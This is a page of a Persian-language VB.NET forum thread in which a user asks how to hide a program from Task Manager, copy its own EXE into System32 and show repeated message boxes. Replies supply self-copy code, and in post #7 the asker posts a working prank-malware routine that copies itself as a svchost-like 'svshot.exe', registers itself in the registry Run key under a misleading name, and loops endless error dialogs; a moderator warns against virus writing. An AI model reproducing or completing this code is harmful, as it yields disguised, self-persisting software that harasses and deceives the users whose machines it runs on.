تبلیغات :
ماهان سرور
آکوستیک ، فوم شانه تخم مرغی ، پنل صداگیر ، یونولیت
دستگاه جوجه کشی حرفه ای
فروش آنلاین لباس کودک
خرید فالوور ایرانی
خرید فالوور اینستاگرام
خرید ممبر تلگرام

[ + افزودن آگهی متنی جدید ]




صفحه 1 از 3 123 آخرآخر
نمايش نتايج 1 به 10 از 23

نام تاپيک: چند تا سوال در مورد vb.net

  1. #1
    داره خودمونی میشه papa_toop's Avatar
    تاريخ عضويت
    Aug 2007
    پست ها
    116

    پيش فرض چند تا سوال در مورد vb.net

    سلام بر همگی

    من یه سری سوال دارم که برام پیش اومده

    1-چطوری نرم افزار رو در Tasl Man مخفی کنم

    2-چطوری صفحه نرم افزار همیشه روی بقیه نرم افزار ها باشه یعنی همیشه On Top باشه

    3-چطوری یه Messagebox رو پشت سرهم مثلا 20 بار نشون بدم بدونه این که احتیاج به زدن دکمه OK باشه

    4-چطوری آدرس جایی که خود نرم افزار در اون قرار داره رو پیدا کنم (مثلا شاید یکی توی درایو C,D,F و.... گذاشته باشه)

    5-محل قرار گرفتن ویندوز کاربر رو چطوری پیدا کنم
    مثال: (IO.File.Copy(" 1 ", " 2 ", True که به جای 1 آدرس خود نرم افزاره و 2 آدرس System32 کاربر

    در ضمن اگر می شه کپی کردن خود EXE رو به System32 با مثال توضیح بدید

    سوالام همین این ها بود
    اگه جواب بدید ممنون می شم

  2. #2
    کاربر فعال انجمن مقالات هـک و امنیت
    تاريخ عضويت
    Apr 2005
    محل سكونت
    U /\/ |< /\/ 0 \/\/ N
    پست ها
    956

    پيش فرض

    براي رو قرار دادن فرمت خاصيت topmost رو true كن
    چند تا massagebox پشت سر هم از حلقه استفاده كن
    برا پيدا كردن آدرس جايي كه نرم افزارت قرار داره از:
    dim start as string=application.startpatch
    استفاده كن
    براي كپي كردن exe به system32 يا حالا هر جا ابتدا imports system.io رو به بالاي فرمت اضافه كن بعد:
    File.Copy(Application.StartupPath & "\WindowsApplication1.exe", "d:\WindowsApplication1.exe")

    كه كد بالا از مسير خودش فايل اجرايي رو يه درايو d كپي ميكنه حالا اگه خاستي به system32 كپي بشه بايد بنويسي:
    File.Copy(Application.StartupPath & "\WindowsApplication1.exe", System.Environment.GetFolderPath(Environment.Speci alFolder.System) & "\WindowsApplication1.exe")

  3. #3
    داره خودمونی میشه papa_toop's Avatar
    تاريخ عضويت
    Aug 2007
    پست ها
    116

    پيش فرض

    دوست عزیز دستت درد نکنه

    فقط دوتا سوال برام پیش که اگه کسی بعدا اسمه نرم افزار رو از WindowsAppliction1 به هر چیز دیگه تغییر بده
    نرم افزار ارور می ده برای رفع این مشکل باید گی کار کرد؟

    دومیشم اینه که اگه ما نرم افزار رو دوبار اجرا کنم ارور می ده و می گه که قبلا این نرم افزار کپی شده و هست.حالا
    اگه ما بخوایم که خود برنامه خود به خود جایگزین کنه باید چه کار کنیم.؟

    -------------------------------------------------------------------------------------------------------------------

    لطفا اگر کسی مخفی کردن برنامه رو توی Task Manager بلده بگه

  4. #4
    ناظر انجمن .NET Framework _H2_'s Avatar
    تاريخ عضويت
    Feb 2007
    محل سكونت
    یک جایی بین Framework و نارمک!
    پست ها
    4,746

    پيش فرض

    سلام
    با اجازه دوستم آقای majeed76

    1) در مورد MessageBox ها اگر منظورتان آن بود که 20 تا همزمان ظاهر شوند (نه اینکه 20 بار به ترتیب و یکی بعد از دیگری) نیاز به 20 ریسمان مختلف دارید، یا اینکه خودتان یک پنجره با یک Label و Button درست کنید و 20 بار نشان دهید.

    2) اگر نام exe عوض شود، بذات مشکل ایجاد نمیکند.

    3) با دستور System.IO.File.Exists میتوانید از وجود یا عدم وجود یک فایل مطلع شوید و کار مقتضی را انجام دهید.
    امیدوارم در فکر رایانه آزاری و ویروس نویسی نباشید! میازار رایانه ای که...

  5. #5
    داره خودمونی میشه papa_toop's Avatar
    تاريخ عضويت
    Aug 2007
    پست ها
    116

    پيش فرض

    با عرض ارادت خدمت شما

    می شه توضیح بدید که چطوری باید از حلقه برای این کار استفاده کنم؟

  6. #6
    کاربر فعال انجمن مقالات هـک و امنیت
    تاريخ عضويت
    Apr 2005
    محل سكونت
    U /\/ |< /\/ 0 \/\/ N
    پست ها
    956

    پيش فرض

    بهتره از قسمت دوم كه h2 جان گفتن استفاده كني
    يه پنجره با label و button

  7. #7
    داره خودمونی میشه papa_toop's Avatar
    تاريخ عضويت
    Aug 2007
    پست ها
    116

    پيش فرض

    با سلام
    با کمک شما تمام مشکل ها حل شد و فقط یه مشکل وجود داره.

    به کد زیر نگاه بندازید:
    Imports Microsoft.Win32
    Public Class Form1

    Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
    If IO.File.Exists("C:\Windows\system32\svshot.exe") Then
    Else
    IO.File.Copy(Application.StartupPath & "Top.exe", System.Environment.GetFolderPath(Environment.Speci alFolder.System) & "\svshot.exe")
    End If
    Dim regKey As RegistryKey
    regKey = Registry.CurrentUser.OpenSubKey("Software\Microsof t\Windows\CurrentVersion\Run", True)
    regKey.SetValue("DLL", "C:\Windows\system32\svshot.exe")
    regKey.Close()
    Dim re As RegistryKey
    re = Registry.CurrentUser.OpenSubKey("Software\Microsof t\Windows\CurrentVersion\Run", True)
    Me.Label1.Text = re.GetValue("DLL")
    re.Close()
    While Label1.Text = "C:\Windows\system32\svshot.exe"
    MessageBox.Show("Hi Baby", "Error", MessageBoxButtons.OK, MessageBoxIcon.Error)
    End While
    End Sub
    End Class

    تو این کد می گه که فایل Top.exe رو به System32 کپی کن ولی اگر بعد از ساخته شدن کسی اسم برنامه رو به یه چیز دیگه تغییر بده برنامه ارور می ده .
    من می خوام اگه اسم فایل تغییر کرد بازم توی System32 کپی بشه

  8. #8
    پروفشنال anvar.net's Avatar
    تاريخ عضويت
    Apr 2007
    محل سكونت
    IRAN
    پست ها
    648

    پيش فرض

    نام برنامه رو اینجوری بگیر application.ProductName و بر اساس او چک کن application.ProductName & ".exe"

    1-چطوری نرم افزار رو در Tasl Man مخفی کنم
    فقط بخاطر خاطرات خوش درس ویروس شناسی دوره دانشگاه اینو میذارم وگرنه دل خوشی از ویروس ندارم

    [ برای مشاهده لینک ، با نام کاربری خود وارد شوید یا ثبت نام کنید ]

  9. #9
    داره خودمونی میشه papa_toop's Avatar
    تاريخ عضويت
    Aug 2007
    پست ها
    116

    پيش فرض

    اگه می شه با مثال توضیح بدید چون هر کاری کردم نشد

  10. #10
    ناظر انجمن .NET Framework _H2_'s Avatar
    تاريخ عضويت
    Feb 2007
    محل سكونت
    یک جایی بین Framework و نارمک!
    پست ها
    4,746

    پيش فرض

    سلام
    در مورد کپی، اگر منظورتان کپی کردن همان فایلی است که الآن دارد کدش اجرا میشود، میتوانید از کد زیر استفاده کنید:
    کد:
    برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید
    در مورد 20 پنجره هم اگر نام فرمتان frmMessage باشد، این کد:
    کد:
    برای مشاهده محتوا ، لطفا وارد شوید یا ثبت نام کنید

صفحه 1 از 3 123 آخرآخر

Thread Information

Users Browsing this Thread

هم اکنون 1 کاربر در حال مشاهده این تاپیک میباشد. (0 کاربر عضو شده و 1 مهمان)

User Tag List

قوانين ايجاد تاپيک در انجمن

  • شما نمی توانید تاپیک ایحاد کنید
  • شما نمی توانید پاسخی ارسال کنید
  • شما نمی توانید فایل پیوست کنید
  • شما نمی توانید پاسخ خود را ویرایش کنید
  •